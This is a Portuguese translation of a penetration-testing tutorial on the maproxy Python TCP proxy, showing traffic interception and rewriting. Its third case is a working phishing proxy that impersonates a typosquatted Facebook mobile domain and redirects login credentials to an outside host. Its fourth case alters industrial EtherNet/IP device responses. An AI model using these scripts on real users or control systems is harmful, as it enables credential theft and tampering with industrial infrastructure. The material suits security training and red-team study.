Processamento de dados de rede em tempo real

Uma tradução do artigo foi preparada antes do início do Pentest. Prática de teste de penetração .





anotação


Vários tipos de avaliações de segurança, de testes regulares de penetração e operações do Red Team a hackers de dispositivos IoT / ICS e SCADA, significam trabalhar com protocolos de rede binários, ou seja, em essência, interceptar e modificar dados de rede entre o cliente e o destino. Farejar o tráfego da rede não é uma tarefa difícil, pois temos ferramentas como Wireshark, Tcpdump ou Scapy, mas a modificação parece ser mais demorada, porque precisaremos de uma interface exclusiva para ler os dados da rede, filtrá-los, alterá-los em tempo real e enviar de volta para o host de destino quase em tempo real. Além disso, seria ideal se essa ferramenta pudesse funcionar automaticamente com várias conexões paralelas e tivesse a capacidade de personalizar usando scripts.

Depois que descobri uma ferramenta chamada maproxy, a documentação rapidamente me informou maproxy- exatamente o que eu precisava. Este é um proxy TCP bastante simples, versátil e fácil de configurar. Testei essa ferramenta em várias aplicações bastante complexas, incluindo dispositivos ICS (que geram muitos pacotes) para descobrir se ela pode funcionar com muitas conexões paralelas, e a ferramenta teve um bom desempenho.

Este artigo apresentará o processamento de dados de rede rapidamente maproxy.

Visão geral


A ferramenta é maproxybaseada no Tornado, uma estrutura de rede Python assíncrona popular e bem desenvolvida.

Em geral, ele pode funcionar de vários modos:

  • TCP:TCP - conexões TCP não criptografadas;
  • TCP:SSLe SSL:TCP- com criptografia unidirecional;
  • SSL:SSL - criptografia bidirecional.

Vem como uma biblioteca. Para início rápido, você pode usar arquivos de amostra que refletem as principais funções da biblioteca :

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Caso 1 - Proxy Bidirecional Simples


Baseado em tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Por padrão, são ProxyServer()necessários dois argumentos - o local da conexão e a porta de destino. server.listen()requer um argumento - a porta para ouvir a conexão de entrada.

Execução de script:

# python tcp2tcp.py

Para realizar o teste, vamos conectar-se ao servidor SSH local por meio de nosso script proxy, que escuta na 2222/tcpporta e se conecta à porta padrão do 22/tcpservidor SSH:



Um banner de boas-vindas informa que nosso script de amostra proxyou com êxito o tráfego de rede.

Caso 2 - modificação de dados


Outro script de demonstração é logging_proxy.pyideal para interagir com dados da rede. Os comentários no arquivo descrevem os métodos de classe que você pode modificar para atingir seu objetivo:



O mais interessante aqui:

  • on_c2p_done_read - interceptar dados no caminho do cliente para o servidor;
  • on_p2s_done_read - invertido.

Vamos tentar alterar o banner SSH que o servidor retorna ao cliente:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Execute o script:



Como você pode ver, o cliente foi enganado, porque para ele o nome do servidor SSH foi alterado «DumnySSH».



Caso 3 - Página da Web simples de phishing


Há um número infinito de usos para esta ferramenta. Desta vez, vamos nos concentrar em algo mais prático da área de operações da Equipe Vermelha. Vamos imitar o Landing m.facebook.come usar o domínio personalizado com erro de digitação intencional, por exemplo m.facebok.com. Para fins de demonstração, basta assumir que o domínio está registrado por nós.

Vamos estabelecer uma conexão de rede não criptografada com o proxy de nossas vítimas e o fluxo SSL para o servidor do Facebook ( 31.13.81.36). Para que este exemplo funcione, precisamos substituir o cabeçalho do host HTTP e implementar o nome correto do host e também desativaremos a compactação de resposta para obter acesso fácil ao seu conteúdo. No final, substituiremos o formulário HTML para que as credenciais de login sejam enviadas para nós, em vez dos servidores do Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action=\"/login/", "action=\"https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

No final:



como você pode ver, conseguimos substituir com sucesso o site original.

Caso 4 - Porta Ethernet / IP


Estou lidando com dispositivos e software industriais (ICS / SCADA) há algum tempo, como controladores programáveis ​​(PLC), módulos de E / S, unidades, relés, ambientes de programação em escada e muito mais. Este caso é para quem gosta de coisas industriais. Hackear essas soluções envolve um jogo ativo com protocolos de rede. No exemplo a seguir, gostaria de mostrar como você pode modificar o tráfego de rede ICS / SCADA.

Para fazer isso, você precisará do seguinte:

  • Sniffer de rede, por exemplo, Wireshark;
  • Ethernet / IP ou apenas um dispositivo SIP, você pode encontrá-lo usando o serviço Shodan;
  • Nosso script é baseado maproxy.

Para começar, vamos ver como é uma resposta típica de identificação CIP (Common Industrial Protocol): A



identificação do dispositivo é feita usando Ethernet / IP, que é uma versão estendida da Ethernet para aplicativos industriais, que envolve protocolos de controle como o CIP. Vamos mudar o nome de identificação destacado, que pode ser visto na captura de tela do “NI-IndComm for Ethernet” usando nosso script de proxy. Poderíamos reutilizar o script logging_proxy.pye modificar o método da classe da mesma forma on_p2s_done_read, pois queremos que um nome de identificação diferente fique visível no cliente.

O código:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'\x0c\x00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

De fato, solicitamos a identificação do dispositivo duas vezes, a segunda resposta é a original e a primeira foi modificada em tempo real.

E o último


Na minha opinião, uma maproxyferramenta simples e conveniente que também é escrita em Python, então acredito que você também pode se beneficiar com o seu uso. Obviamente, existem ferramentas mais sofisticadas para processar e alterar dados de rede, mas elas também requerem mais atenção e geralmente são criadas para um caso de uso específico, por exemplo, Muraena , Modlishka ou evilginx para casos semelhantes ao terceiro ou canape para o último caso. De uma maneira ou de outra, com a ajuda, maproxyvocê pode realizar rapidamente suas idéias para interceptar dados da rede, pois os exemplos de script são muito claros.



Testando mecanismos de autenticação no Windows AD



All Articles